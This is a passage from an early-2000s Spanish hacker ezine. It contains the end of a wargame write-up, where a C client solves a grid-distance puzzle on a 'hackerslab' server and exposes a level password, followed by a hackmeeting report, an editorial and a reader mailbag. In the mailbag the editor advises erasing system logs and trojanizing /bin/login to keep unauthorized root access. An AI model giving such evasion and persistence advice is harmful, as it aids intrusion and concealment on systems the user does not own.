/*********************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <math.h>
#include "comun.h"
#include "proto.h"
int respuesta;
int calcula(int origen, int destino)
{
int capa1,capa2,bucle,contador,despla,despla1,despla2,total;
int x1,x2,y1,y2,xdis,ydis;
total=1;
bucle=2;
contador=0;
despla=0;
/* miramos en que plano esta el dato1 y dato2 con sus desplazamientos */
for(;;)
{
if (contador == 6*total){
total++;
despla=0;
contador=0;
}
if (bucle == origen) {
capa1=total;
despla1=despla;
}
if(bucle == destino){
capa2=total;
despla2=despla;
break;
}
bucle++;
despla++;
contador++;
}
// Calculos de las posiciones en el espacio sin desplazamientos
if(capa1>1){x1=capa1-1;}else x1=0;
y1=-1-capa1;
if(capa2>1){x2=capa2-1;}else x2=0;
y2=-1-capa2;
// Ahora calcularemos los desplazamientos del objetivo 1
if(despla1>0) // Bajada diagonal izquierda
{
for(bucle=0;bucle<capa1-1;bucle++)
{
if(bucle==despla1)break;
x1--;
y1--;
}
}
if(despla1>=capa1) // Subida diagonal izquierda
{
for(bucle=capa1-1;bucle<(capa1*2)-1;bucle++)
{
if(bucle==despla1)break;
x1--;
y1++;
}
}
if(despla1>=capa1*2) // Subida vertical
{
for(bucle=(capa1*2)-1;bucle<(capa1*3)-1;bucle++)
{
if(bucle==despla1)break;
y1=y1+2;
}
}
if(despla1>=capa1*3) // Subida diagonal derecha
{
for(bucle=(capa1*3)-1;bucle<(capa1*4)-1;bucle++)
{
if(bucle==despla1)break;
x1++;
y1++;
}
}
if(despla1>=capa1*4) // Bajada diagonal derecha
{
for(bucle=(capa1*4)-1;bucle<(capa1*5)-1;bucle++)
{
if(bucle==despla1)break;
x1++;
y1--;
}
}
if(despla1>=capa1*5) // Bajada vertical
{
for(bucle=(capa1*5)-1;bucle<despla1;bucle++)
{
y1=y1-2;
}
}
// Ahora calcularemos los desplazamientos del objetivo 2
if(despla2>0) // Bajada diagonal izquierda
{
for(bucle=0;bucle<capa2-1;bucle++)
{
if(bucle==despla2)break;
x2--;
y2--;
}
}
if(despla2>=capa2) // Subida diagonal izquierda
{
for(bucle=capa2-1;bucle<(capa2*2)-1;bucle++)
{
if(bucle==despla2)break;
x2--;
y2++;
}
}
if(despla2>=capa2*2) // Subida vertical
{
for(bucle=(capa2*2)-1;bucle<(capa2*3)-1;bucle++)
{
if(bucle==despla2)break;
y2=y2+2;
}
}
if(despla2>=capa2*3) // Subida diagonal derecha
{
for(bucle=(capa2*3)-1;bucle<(capa2*4)-1;bucle++)
{
if(bucle==despla2)break;
x2++;
y2++;
}
}
if(despla2>=capa2*4) // Bajada diagonal derecha
{
for(bucle=(capa2*4)-1;bucle<(capa2*5)-1;bucle++)
{
if(bucle==despla2)break;
x2++;
y2--;
}
}
if(despla2>=capa2*5) // Bajada vertical
{
for(bucle=(capa2*5)-1;bucle<despla2;bucle++)
{
y2=y2-2;
}
}
// Ahora hacemos los calculos pertinentes para la distancia x e y
if(x1==x2)xdis=0;
if(y1==y2)ydis=0;
//Ajustamos las diferencias en X
if(x1>x2)
{
if(x1<0)
{
xdis=abs(x1)-abs(x2);
}
if(x1>=0)
{
if(x2>=0) xdis=abs(x1)-abs(x2);
if(x2< 0) xdis=abs(x1)+abs(x2);
}
}
if(x2>x1)
{
if(x2<0)
{
xdis=abs(x2)-abs(x1);
}
if(x2>=0)
{
if(x1>=0) xdis=abs(x2)-abs(x1);
if(x1< 0) xdis=abs(x2)+abs(x1);
}
}
//Ajustamos las diferencias en Y
if(y1>y2)
{
if(y1<0)
{
ydis=abs(y1)-abs(y2);
}
if(y1>=0)
{
if(y2>=0) ydis=abs(y1)-abs(y2);
if(y2< 0) ydis=abs(y1)+abs(y2);
}
}
if(y2>y1)
{
if(y2<0)
{
ydis=abs(y2)-abs(y1);
}
if(y2>=0)
{
if(y1>=0) ydis=abs(y2)-abs(y1);
if(y1< 0) ydis=abs(y2)+abs(y1);
}
}
// Ahora veremos que tipo de distancia tenemos para calcular el tema
// Primer caso
if(abs(xdis)>=abs(ydis) && xdis != 0)
{
respuesta=abs(xdis);
}
//segundo caso
else if(xdis==0)
{
respuesta=abs(ydis)/2;
}
else
// Tercer caso
{
respuesta=abs(xdis)+((abs(ydis)-abs(xdis))/2);
}
printf("x1: %d \n", x1);
printf("y1: %d \n", y1);
printf("capa1: %d \n", capa1);
printf("desplazamiento 1: %d \n", despla1);
printf("x2: %d \n", x2);
printf("y2: %d \n", y2);
printf("capa2: %d \n", capa2);
printf("desplazamiento 2: %d \n", despla2);
printf("xdis: %d \n", xdis);
printf("ydis: %d \n", ydis);
printf("distancia: %d \n", respuesta);
}
int abre_socket(hostname, port)
char *hostname;
int port;
{
int skt;
struct sockaddr_in sktin;
struct hostent *host;
/* crea el socket, si da error, acaba el programa */
if ( (skt = socket( AF_INET , SOCK_STREAM , 0 /* protocol */)) < 0)
{ fprintf(stderr,
"* ERROR : No se ha podido crear el socket (pid=%d)\n",getpid());
exit(-1); /* termina el programa: ERROR */
}
/* nombra el socket */
memset(&sktin, 0, sizeof(sktin)); /* rellena con el valor 0 */
sktin.sin_family = AF_INET;
/* asigna el puerto a donde nos conectaremos */
sktin.sin_port = htons(port);
/* pasa el nombre del host a direccion IP */
/* direccion logica */
if (host = gethostbyname(hostname))
memcpy(&sktin.sin_addr, host->h_addr, host->h_length);
/* decimales separados por puntos: direccion numerica */
else if ((sktin.sin_addr.s_addr = inet_addr(hostname)) < 0 )
{ fprintf(stderr,
"* ERROR : No conozco el host %s (pid=%d)\n" ,
hostname , getpid());
exit(-1); /* termina el programa: ERROR */
}
/* conectar el socket */
if (connect(skt, (struct sockaddr *)&sktin, sizeof(sktin)) < 0 )
{ fprintf(stderr,
"* ERROR : No consigo conectar con el host %s:%d (pid=%d)\n" ,
hostname , port, getpid());
exit(-1); /* termina el programa: ERROR */
}
return (skt);
}
int main(argc,argv,envp)
int argc;
char *argv, *envp;
{
int skt, bufpos,bucle,paquete;
char buf[TAM_BUFFER];
// Estructuras para hackerslab
t_query recibo; // usada para datos recibidos del servidor
t_reply mando; // usada para mandar respuestas
/* abre el socket */
skt=abre_socket(SERVERHOST, SERVERPORT);
// Password Actual
strcpy(mando.current_pass,"chl1296rh");
/* proceso central */
for(paquete=1;paquete<4;paquete++)
{
/* recepcion del primer paquete */
if ((bufpos=read(skt, &recibo, sizeof(recibo))) < 0)
{ fprintf(stderr,
"* ERROR : No consigo leer del socket %d (pid=%d)\n" ,
skt , getpid());
}
else
{
printf("Paquete recibido de hackerslab \n");
printf("------------------------------ \n");
printf("flag: %d \n", recibo.flag);
printf("origen: %d \n", recibo.query_a);
printf("destino: %d \n", recibo.query_b);
printf("Password siguiente: %s \n",recibo.next_pass);
printf("------------------------------ \n \n");
}
if(recibo.flag==2)
{
printf("-------------------------------- \n");
printf("Respuesta al paquete %d fallada\n",paquete-1);
printf("-------------------------------- \n");
/* cierra el socket */
if (close(skt) < 0)
{
fprintf(stderr,"* ERROR : Al cerrar el socket %d (pid=%d)\n" ,skt , getpid());
exit(-1); /* termina el programa: ERROR */
}
/* termina el programa: OK */
return 0;
}
/* Hacemos la solucion a la pregunta */
printf("Calculando respuesta %d .... \n \n",paquete);
respuesta=0;
if(recibo.query_b > recibo.query_a)calcula(recibo.query_a, recibo.query_b);
if(recibo.query_a > recibo.query_b)calcula(recibo.query_b, recibo.query_a);
/* mandamos la primera respuesta */
printf("Mandando paquete %d .... \n \n",paquete);
mando.answer= respuesta;
if (write(skt,&mando,sizeof(mando)) < 0)
{ fprintf(stderr,
"* ERROR : No consigo escribir en el socket %d (pid=%d)\n" ,
skt , getpid());
printf(" Error numero %d \n", skt);
}
else
{
printf("Paquete mandado a hackerslab \n");
printf("------------------------------ \n");
printf("Respuesta: %d \n", mando.answer);
printf("Password actual: %s \n",mando.current_pass);
printf("------------------------------ \n \n");
printf("En espera recibir paquete %d .... \n \n",paquete);
}
} // Fin del Bucle de 3 envios
/* recepcion del paquete final con el password */
if ((bufpos=read(skt, &recibo, sizeof(recibo))) < 0)
{ fprintf(stderr,
"* ERROR : No consigo leer del socket %d (pid=%d)\n" ,
skt , getpid());
}
else
{
printf("Paquete recibido de hackerslab \n");
printf("------------------------------ \n");
printf("flag: %d \n", recibo.flag);
printf("origen: %d \n", recibo.query_a);
printf("destino: %d \n", recibo.query_b);
printf("Password siguiente: %s \n",recibo.next_pass);
printf("------------------------------ \n \n");
}
/* cierra el socket */
if (close(skt) < 0)
{ fprintf(stderr,
"* ERROR : Al cerrar el socket %d (pid=%d)\n" ,
skt , getpid());
exit(-1); /* termina el programa: ERROR */
}
/* termina el programa: OK */
return 0;
}
-------------------------- CORTAR POR AQUI --------------------------------
Y listo, tenemos el programa asi que manos a la obra, conectamos, llamamos a la
aplicacion:
./cliente > resultado
asi veremos el texto durante el proceso y..............
Paquete recibido de hackerslab
------------------------------
flag: 0
origen: 2598
destino: 8021
Password siguiente:
------------------------------
Calculando respuesta 1 ....
x1: 29
y1: -3
capa1: 29
desplazamiento 1: 160
x2: -12
y2: -92
capa2: 52
desplazamiento 2: 63
xdis: 41
ydis: -89
distancia: 65
Mandando paquete 1 ....
Paquete mandado a hackerslab
------------------------------
Respuesta: 65
Password actual: chl1296rh
------------------------------
En espera recibir paquete 1 ....
Paquete recibido de hackerslab
------------------------------
flag: 0
origen: 3383
destino: 1416
Password siguiente:
------------------------------
Calculando respuesta 2 ....
x1: -7
y1: -37
capa1: 22
desplazamiento 1: 28
x2: 18
y2: -50
capa2: 34
desplazamiento 2: 15
xdis: 25
ydis: -13
distancia: 25
Mandando paquete 2 ....
Paquete mandado a hackerslab
------------------------------
Respuesta: 25
Password actual: chl1296rh
------------------------------
En espera recibir paquete 2 ....
Paquete recibido de hackerslab
------------------------------
flag: 0
origen: 2810
destino: 1856
Password siguiente:
------------------------------
Calculando respuesta 3 ....
x1: -25
y1: -15
capa1: 25
desplazamiento 1: 54
x2: 12
y2: -50
capa2: 31
desplazamiento 2: 18
xdis: 37
ydis: -35
distancia: 37
Mandando paquete 3 ....
Paquete mandado a hackerslab
------------------------------
Respuesta: 37
Password actual: chl1296rh
------------------------------
En espera recibir paquete 3 ....
Paquete recibido de hackerslab
------------------------------
flag: 1
origen: 0
destino: 0
Password siguiente: To the top
------------------------------
Eh bualaaaaaaaaaaa, ahi tenemos la pass para el ultimo level.
al final aqui esta mi registro que quedo en hackerslab hasta que al koreano le
toque los webos y los borre todos, jajajjaa
552 jafar 2000-12-27 09:39:15 2001-02-14 23:56:06 14
Bueno, adios a todos, espero que os haya servido de algo mi documento, tb
espero que no seais demasiados crueles si meti alguna pifia mientras redacte el
documento y tan solo os pido que sean buenos y no dejen de jugar a todo lo que
puedan.
Jafar 2001 rootering@yupimail.com
*EOF*
/----------------------------------------------------------------------------\
|-[ 14 ]----[ Un 'finde' en la hackmeeting ]----[ - ]------------------------|
\-------------------------------------------------------------------[ Ripe ]-/
Hackmeeting'00 Dia 1
~~~~~~~~~~~~~~~~~~~~
LLegaba tarde, me habia perdido por las calles de gracia, Tahum e IReick hacia
cosa de 10 minutos que esperaban en la parada de metro mas cercana a "Les
Naus". Finalmente me situo y voy directo al punto de encuentro, la parada
tiene dos bocas de metro, yo me encontraba en una y ellos en otra, pero no
tardamos en darnos cuenta de ello. Juntos y medio perdidos tratamos de
encontrar el local en el que 5 minutos mas tarde iba a celebrarse la ceremonia
de apertura de la Hackmeeting'00. Gracias a el mapa que se hallaba detras del
programa de las charlas previstas pudimos llegar justo tiempo. No se veia, por
el momento demasiada actividad por ahi, unicamente algun que otro grupillo de
gente conversando de algo, y unos cuantos peridistas hechando fotos del
exterior del local. Nosotros decidimos situarnos alejados de la multitud, y
de la premsa. Tras unos minutos de charla vemos al otro lado de la acera a
Hardman, alguien con el que mantenemos buena relacion por lo que nos acercamos
alla y seguimos charlando. Los periodistas aprovecharon para sacar una
buena instantania a la que, por suerte o por desgracia, salimos de espaldas.
Se iba haciendo tarde y ya pasaban casi 20 minutos del tiempo previsto de
apertura y aun no habia pasado nada, aun asi nosotros decidimos entrar.
"¿Nombre y DNI? Si claro, me llamo Carlos Perez y mi DNI es...." Obiamente
dimos datos falsos, ¿quien sabe donde iran a parar esos papeles?
Ya en su interior podiamos visualizar una oscura habitacion, claramente
representada por el movimiento okupa (posters por todas partes, ruedas de
vicicleta colganda, dibujos en las paredes, y una barra en la que se vendian
bebidas y bocatas), a la derecha una pequeña sala con una mesa llena de
trastos (computadores, targetas de red, de sonido, cables, hubs.....), y a
la izquierda una sala bastante grande, separada en dos partes (una mas grande
que otra) por una vieja lona oscura. La division grande (a la que llamaban
sala de conferencias) constaba de muchas butacas, butacas de cine, al parecer
los okupas de "les naus" se habian apropiado de las butacas de un cine
abandonado y las habian colocado alla. En la otra division (a la que llamaban
taller), la mas pequeña y alejada de la puerta de entrada a la gran sala,
habia unas cuantas sillas plegables mal puestas, una pizarra llena de
dibujitos y si te fijabas un poco una cortina que escondia un monton de
trastos.
Mientras se celebraba la ceremonia de apertura (con una media hora de retraso)
nosotros nos encontramos en la sala pequeña, en la que unos cuantos hackers
trataban de montarse una red, con un router que tenia una conexion a internet
por linea RDSI en el piso de arriba al que, en principio nosotros no teniamos
acceso. Se veia claramente como un cable colgaba del techo, e iba a parar a un
hub que habia por ahi. Alla se encontraban tambien los hackers intalianos
tratando de configurar un servidor DNS (lo unico que quiero comentar ahora, es
que al dia siguiente la red y el servidor DNS no funcionaban de todo
correctamente, pero eso es lo de menos).
Terminada ya la ceremonia de apertura se disponia a dar la primera charla en
el taller, alla nos dirigimos Tahum, IReick y yo, hardman se habia quedado
por alla charlando con alguien. Ciertamente esa charla apesto bastante, mucha
politica, mucha mierda poco hack, poca informatica, pero los tres estabamos
sentados en primera fila, detras nuestro un cumul de multitud, los tres
sabiamos que no queriamos estar alli, pero nadie se atrevia a decir "vamonos".
Finalmente y tras tragarnos mas de media hora de charla le dije a IReick la
palabra magica "vamonos", el se lo comunico a Tahum, y tras una cuenta atras
nos levantamos y nos fuimos, dejando 3 sillas libres, y en primera fila, para
3 de aquellos que habian visto, hasta el momento, la charla de pie. Tras pasar
la lona negra vi como Hardman estaba sentado junto a un periodista, este le
hacia preguntas sobre el panorama hacker español, conociendo a Hardman a saber
lo que le diria.
Por otro lado yo decidi llamar a Trycky para contarle como estaba el panorama,
le conte que de momento la cosa era algo floja, que en la unica charla que
se habia dado se habia tratado demasiada politica. Trycky, en un principio
tenia que haber venido a Barcelona los dias 20 y 21 de Octubre, pero por
problemas de dinero tubo que quedarse en Granada. Al mismo tiempo Tahum
llamo a Wintermute, con el que habiamos quedado encontrarnos. Wintermute tenia
que venir con Zhodiac y Crash. Tahum nos comunico que Wintermute estaba apunto
de llegar, decidimos esperarle mirando como seguia el tema en la sala de los
ordenadores. La red seguia sin funcionar y el servidor DNS... mas de lo mismo.
IReick y yo pasamos el rato comentando el nuevo fallo encontrado en algunas
versiones de la aplicacion traceroute, un fallo realmente complicado de
explotar.
Finalmente, y tras una llamada telefonica, nos enteramos que Wintermute y
compañia ya se encontraban dentro de "les naus", estaban en la sala de
conferencias. Llegamos alla, y tras reconocerle gracias al archiconocido
metodo de llamo-cuelgo nos dirijimos a el. Saludos para ellos y besos para
ellas, lo tipico. Tanto Zhodiac como Wintermute me parecieron mas jovenes de
lo que yo creia. Hechas las presentaciones, decidimos asistir a la charla
de artivismo que tenia lugar en la sala en la que ya nos encontrabamos. Si
he de ser sincero, esta charla, aun y no tratar temas tecnicos fue la que mas
me gusto de todas las que se dieron en la Hackmeeting'00 exeptuando, como no,
la charla de programas autoreplicantes que Wintermute dio a la multitud. No
recuerdo muy bien si Zhodiac y Crash se fueron antes o despues de dicha
charla, el caso es que cuando termino ya no estaban por ahi. IReick, Neko
(un crack de la programacion a bajo nivel, que tambiane habia venido con
Wintermute), y yo nos dirijimos a la sala de ordenadores nuevamente, nos
apoderamos de un Linux y empezamos a hacer paridas con C y ASM (la parida
mas grande la hizo tahum, que vino mas tarde e hizo un programa que tras
introducir un comando imprimia "ripe es gay" o algo similar, dichoso el
programa, que era explotable por el clasico buffer overflow). Despues de que
todos se fueran a charlar Neko y yo nos quedamos aun un rato mas en la
maquina haciendo mas paridad.
Se hacia ya tarde, la mayoria de la gente grupo se habia ido ya, solo
quedabamos IReick y yo, en una de las maquinas configurando la LAN. La
situacion fue realmente patetica, porque nosotros habiamos montado la
tabla de enrutado tal y como debia estar, sinembargo, al realizar los
tests de la red usando "ping" no allabamos respuesta de ninguna maquina, por
lo que suponiamos que algo habiamo hecho mal. Dichosa la gracia cuando
despues de media hora nos enteramos que el maldito proxie filtraba
los ICMP_ECHO que "ping" habia mandado. Una vez sabiado esto, volvemos
a montar de nuevo la tabla de enrutado y aprobechamos el poco tiempo que
nos quedaba para bajar de la red el exploit publicado que explotaba la
vulnerabilidad de traceroute para hecharle un ojo, IReick prometio traer
una copia impresa del mismo al dia siguiente. "Que tarde es, vamonos", y asi
hicimos.
Hackmeeting'00 Dia 2
~~~~~~~~~~~~~~~~~~~~
Pese a que el dia anterior me habia ido a dormir bastante tarde, cuando sono
el despertador, sobre las 8 y media, no note un sueño escesivo, por lo que
me levante sin problemas, me duche, y desayune algo fuerte (para mi el
simple echo de desayunar un cafe con un coisant a las 9 es algo muy fuerte,
ya que no suelo desayunar mas que un simple cafe). Tras responder una
llamada telefonica que habia recivido de un pesao que siempre me llama (ei,
un saludo :-) sali a la calle, y con el metro me diriji de nuevo a Joanic.
Una vez en "Les Naus" me di cuenta que ni Tahum, ni IReick, ni nadie habia
llegado todavia, por lo que me fui a la salita de los ordenadores para ver
como estaba la cosa, aunque la red seguia sin funcionar del todo, ye se
posia ver a gente conectada al IRC. Tratede apoderarme de una maquina, pero
estaban todas ocupadas, unicamente la que ejercia de servidor DNS estaba
libre, "humm, porque no?" me dije, pero despues de mas de 30 intentos de
login me di cuenta que la politica de contraseñas no era tan pobre como
pensaba.
Sono entonces mi movil, el clasico pipi de los nokia cada vez que recives un
SMS. Era de IReick, que me decia que ya estaba en "Les Naus". Finalmente nos
encontramos en la entrada de la sala de las maquinas. Como bien habia
prometido traia un copia impresa del xploit de traceroute, junto a un
articulo, escrito por el mismo autor del xploit, que explicaba con bastante
profudidad el bug encontrado, asi como un cronologia de la evolucion del
xploit. Ojee un poco los papeles y vi una curiosa instruccion en codigo
maquina que no habia visto nunca, me dije a mi mismo que se lo
preguntaria a Neko cuando le viera.
No tardo en llegar el resto de la gente, Neko y yo nos apalancamos en una
CPU para tratar de everiguar que accion realizaba la instruccion que habiamos
visto, pero sin exito, ya que al parecer la maquina que teniamos no tenia
ningun compilador de ensamblador, y la verdad es que no nos molestamos en
pedir ninguno, pues se hacia tarde y teniamos ya hambre. Despues de unos
cuantos viajes a la gasolinera que habia unos metros mas abajo de "les
naus" para comprar consumibles (vease patatas fritas, cocacolas, y cia),
llego la hora de comer y mientras preparabamos el grupo para ir a comer nos
dispersamos. Via SMS tratamos de reunirnos todos de nuevo, pero no pudo ser y
al final acabamos comiendo Tahum, IReick y yo en un restaurante (lo menos
caro que encontramos) mientras que el resto comieron... aun no se donde.
Tras haber comido, nos encontramos todos de nuevo en "les naus", Tahum y yo
decidimos ir pasarnos entonces por un bar cercano al local donde se
encontraba la gente de Undersec viendo en un portatil el documental que
meses antes se habia publicado en tv2 sobre los hackers (un reportaje que, a
mi opinion, no enseño demasiado bien de que va el tema). La anecdota del
momento fue que alguien en el bar pregunto si desde el portatil se podria
ver el partido, y es que esa misma noche se jugaba el Barça-Madrid.
Nuevamente en "les naus" se nos notaba a todos un poco impacientes por
asistir a la charla de programas autoreplicantes que Wintermute debia dar
unas horas mas tarde, mientrastanto, tahum, neko y yo nos dedicamos una vez
mas a hacer chorradas con las maquinas y a conectarnos esporadicamente al
IRC para saludar a la gente.
Finalmente, ya cumplida la hora a la que tenia que empezar la charla de
wintermute nos dirigimos a la sala grande, donde se estaba dando una charla
en catalan de virus y bacterios (una comparacion entre los programas
autoreplicantes y los virus biologicos), una charla a la que me hubiera
gustado asistir, pero no pude por que se me fue de la cabeza, vaya. La hora,
pillamos localidad en segunda fila, y wintermute birra en mano inicia la
charla de virus, la charla trato basicamente el virii en entorno Linux y
la infeccion de ficheros ELF (aunque trato el tema de forma muy superficial
la charla gusto a la mayoria de los asistentes, por no decir a todos).
Cuando wintermute se dispuso a hacer un esquema de como usa linux la
memoria para ejecutar los procesos este no se dio cuenta que estaba
escribiendo detras de la pizarra, con lo cual luego le fue complicado
borrarlo... suerte de un asistente del publico le advirtio. No, si ya
decia yo que tanta cerveza no podia ser buena ;-)
Ya era oscuro, y estabamos entonces esperando dos charlas mas a las que
tenismos pensado asistir; la de cabinas por un anonimo, y la de
Inteligencia artificial que wintermute y crash debian dar bastante tarde.
Empezo la charla de cabinas con un gran indice de asistencia, el instructot
que daba la charla habia traido componentes electronicos extraidos del
interior de una cabina telefonica, algo que sorprendio a los asistentes. Yo,
reconociendo que mis conocimientos sobre telefonia y electronica no son
todo lo buenos que querria (para no decir que son practicamente nulos), dire
que no entendi demasiada cosa, por lo que no puedo evaluar si fue o no la
mejor charla de la hackmeeting (a mi me gusto mas la de wintermute, esa la
entendi :)
Mas tarde, a las 20'30 debia darse una charla sobre la Inteligencia
Artificial, Wintermute (de nuevo) y |Crash| se habian preparado a
conciencia, pero ya unas horas antes de la charla se habia notado un poco
de nerviosismo, y es que |Crash| no se encontraba demasiado bien.
Finalmente tuvo que abandonal la hackmeeting y la charla se cancelo.
Ya bien tarde se realizo una charla que no estaba prevista en el
programa, Wintermute y Zhodiac presentaron el proyecto OutLimit
(www.outlimit.org), al tiempo que justo detras de nuestra lona se estaba
dando una charla de hacking pasivo... intresante charla, de la cual me
perdi la mitad.
Solo quedaba yo del grupo asi que decidi irme de nuevo.... y ale :)
Hackmeeting'00 Dia 3
~~~~~~~~~~~~~~~~~~~~
Al igual que al dia anterio me levanto sin sueño, empiezo a creer que estoy
enfermo, pero decido olvidarme de todo y volver a "les naus". Aunque para el
tercer dia no habia nada intresante previsto (de hecho yo sabia de antemano
que la mayoria de la gente no vendria) tenia ganas de ir para ver la ceremonia
de clausura. LLego a "les naus", y al rato aparece NeKo. Nos pasamos la mayor
parte del tiempo en la sala de maquinas, exepto unos minutejos en los que nos
dejamos caer por el taller donde se estaba dando un intresante debate de la
actuacion de los medios de comunicacion sobre el fenomeno hacking... aquello
parecia mas bien una critica a las multinacionales y empresas.
Finalmente y durante la reunion que debia cerrar la HackMeeting'00 Neko y yo nos
comimos un bocadillo y nos tomamos un zumo... Buena vida, si señor!
*EOF*
/-----------------------------------------------------------------------\
|-[ 15 ]----[ Cambios ]----[ ]------------------------------------------|
\------------------------------------------------------------[ Editor ]-/
El ezine 7a69 aparecio cierto dia de la mano de Ripe, desde entonces el
nivel de la revista ha ido augmentando, al igual que el numero de lectores,
y sinceramente, a mi opinion a 7a69 le ha faltado seriedad y organizacion. Es
por ello que hemos decidido que este ezine sufra algunos cambios:
El primero de ellos se ve claramente, el aspecto, sin duda un aspecto mucho
mas moderno (no se si es asi pero queda molon decirlo) y que esperamos sea de
vuestro agrado. Muchos entendereis ahora los propositos del concurso
presentado en el numero anterior.
Pero no solo nos hemos vuelto mas modernos, tambien hemos ganado en
organizacion gracias a la aparicion de un co-editor que permitira al editor
descansar un poco, y es que llevar la edicion de un ezine resulta en muchos
casos pesada (todo sea por el lector). A ver si entre dos... no lo es tanto.
Bueno, ademas de la aparicion de la figura del co-editor, se ha tomado la
decision de ir alternando cada cierto tiempo los papeles de editor y de
co-editor (de momento al menos en este numero he seguido siendo yo el editor,
Ripe, y el co-editor, aunque sin hacer demasiado trabajo... ehem.., a sido
en este caso trycky), de manera que la tarea sera mucho mas descansada (y yo
podre tomar un descansillo, que nunca viene mal :D).
Dije al iniciar este mensaje al lector que 7a69 ha sufrido una falta de
seriedad en algunos aspectos, pues bueno, trataremos de mejorarlo (aunque
hemos ido ganando eso de la seriedad poco a poco... :P), y para ello
hemos empezado con una sorpresa... a los lectores que hayan adquirido
7a69ezine de http://www.7a69ezine.8m.com o de alguna otra fuente no oficial
les diremos que ya disponemos dominio propio; 7a69ezine.org, que esperamos
sea de vuestro agrado. La pagina web continua con un aspecto muy
similar al de antes, pues creemos que no necesita grandes modificaciones.
Hemos añadido mas links, textos alternativos, programas y demas bichejos de
produccion propia... (quiza me deje algo). Por todo ello esperamos que esta
"nueva" epoca de 7a69ezine sea mejor que la pasada, de la que yo creo que
no nos podemos quejar.
*Nueva web oficial(*): http://www.7a69ezine.org
*Nuevo E-mail: staff@7a69ezine.org
*Nuevo Staff: Ripe - <ripe@7a69ezine.org>
Trycky - <trycky@7a69ezine.org>
Doing - <doing@7a69ezine.org>
Tahum - <tahum@7a69ezine.org>
IReick - <ireick@7a69ezine.org>
(*)NOTA: Nuestra vieja web http://www.7a69ezine.8m.com sigue de momento
activa, pero no es mas que una redireccion a nuestro nuevo dominio,
y es posible que en breve deje de funcionar...
7a69 tratara de sacar un numero cada 75/90 dias (si quieres pasar a meses
echa calculos). Intentaremos destacar por la constancia, pero no se
asegura nada, en el fondo, el tiempo que tardemos en sacar el proximo
numero dependera un poco de vosotros... Mails que mandeis dando animos
(parece que no pero es util), articulos que nos mandeis, recomendaciones....
en definitiva, lo que querais, y si puede sernos util, mejor que mejor.
*EOF*
/----------------------------------------------------------------------------\
|-[ 14 ]----[ La voz del lector ]----[ - ]-----------------------------------|
\-----------------------------------------------------------------[ Editor ]-/
Y una vez mas, aqui llega vuestra seccion...
---{ 01 }---------------------------------------------------------------------
Hola 7a69!
Un dia navengando por ahi encontre vuestra web, y la verdad es que me
gusto mucho. Sobretodo la ezine. Cuando sale el numero 10?
<Ripe: Cuando estes leiendo esto... fijo que ya
ha salido ¿no cres?>
Otro problema que tengo es que mi vecino no para de molestarme (hace
llamadas anonimas, me pica el timbre, me despierta por las mañanas) y yo
ya no se que hacer. Se que tiene internet. Podria hacerle alguna
"putadita"?
<Ripe: ¿Un grafo en la puerta? suele funcionar...
ah coño tu te referiras a una putada atraves
de internet.... pues mira ahora asi de
sopeton no se me ocurre nada :P>
Gracias por adelantado.
Saluda TURB0
<Ripe: Bruuum, bruuum.....>
-------------------------------------------------------------------------------
---{ 02 }----------------------------------------------------------------------
Antes que nada los elogios... Este ezine es el que mejor introduce a los
novatos en el mundillo hacker, y tiene un buen equilibrio entre articulos
complicados y articulos faciles. Ya se que hay otros ezines como SET que
son de mas nivel, pero hay que pensar tambien en los novatos (que no
lammers).
<Ripe: Pues.... nada. Gracias por los elogios>
Seguidamente mi pregunta... Si tengo acceso a un servidor de internet, es
decir con privilegios de root, como puedo hacer para que el root (el
autentico, jejejeje) no me pille y no me corte la cuenta?
<Ripe: Pues antes que nada estan los logs del
sistema.... borra tus entradas en el. Si no
sabes como hacerlo te remito al articulo que
IReick escribio hace ya un tiempo....
Para que el root no te prive el acceso puedes
tratar de troyanizar el sistema... por
ejemplo substituyendo /bin/login por una
version troyanizada (Doing escribio una muy
intresante, pillala de nuestra web)>
Y para terminar... El hasta otra.
-------------------------------------------------------------------------------
---{ 03 }----------------------------------------------------------------------
Quisiera hacer alguna sugerencia a 7a69, que en mi opinion esta entre los
5 mejores ezines de españa.
1.-Incluir cursos de otros lenguajes de programacion (como Pascal).
2.-Explicar un poco a fondo protocolos como FTP, SMTP, etc
3.-Algo mas de phreak
4.-Mejorar un poco la web
5.-Analizar software de seguridad, estadisticas y cosas de esas
<Ripe: 1.-estamos en ello
2.-hummmm... mira el articulo de HTTP a ver.
3.-si alguien se anima a escribir... adelante.
4.-a mi opinio es muy
buena, simple, rapida y
con contenido ¿Que mejorarias tu exactamente?
5.-pagas tu las licencias del software? :P
ademas dudo que nadie del staff disponga de
tanto tiempo... si te animas tu... adelante.>
-------------------------------------------------------------------------------
---{ 04 }----------------------------------------------------------------------
Hola hax0rs de 7a69... ¿como va todo? ¿bien? Pues esperad a ohir esto....
a mi opinion sois la peña mas lammer de la "scene" y no aportais nada
nuevo a *NADIE* asi que mejor que os quedeis en casa lellendo el libro
Internet en familia. Puagh.
<Ripe: Vaya... y que haces lellendo una ezine de
gente tan lamer? (no estoy seguro pero
creo que es con una sola m.... no te
lleves el scatergoris).>
Saludos. Uno que os odia.
<Ripe: Te has dejado: ...y que os lee>
-------------------------------------------------------------------------------
---{ 05 }----------------------------------------------------------------------
Me presento, soy Ca0s. Hemos hablado alguna vez por IRC no se si te
acordaras de mi.
<Ripe: Ca0s.... Ca0s.... :-? hummm ahora mismo
no caigo.>
Quisiera hacer usa sugerencia para el ezine. ¿podriais explicar como puedo
conectarme a internet sin pagar? Alguien me conto algo de servidores 900,
¿que sabes de ello? Me gustaria mucho que me ayudaras xq mi madre pilla
unos cabreos de la ostia cuando llega la factura :-(
<Ripe: 900... 900... 900... Ahora mismo no me
suena. Humm 900902032. ¿Este no era el
nodo de tarifa plana de Uni2? No se si
tendra algo que ver con lo que pides pero
aqui te lo dejamos :)>
Gracias por adelantado.
<Ripe: No hay de que>
-------------------------------------------------------------------------------
---{ 06 }----------------------------------------------------------------------
HOLA. HE LEIDO EL ARTICULO DE LOS PROTOCOLOS QUE AL PARECER ESTA PARTIDO EN
CAPITULOS, PERO NO VEO EL SEGUNDO CAPITULO POR NINGUNA PARTE... DONDE ESTA?
<Ripe: Buuuf! no me chilles :P>
<Ripe: Sobre el aticulo (supongo que te refieres
al "entrañas de internet; protocolos y
demas") no tuve tiempo de terminarlo para
el numero 9 de la revista, pero lo puedes
ver en este numero.>
POR CIERTO MI NICK ES TWISTER.
-------------------------------------------------------------------------------
---{ 07 }----------------------------------------------------------------------
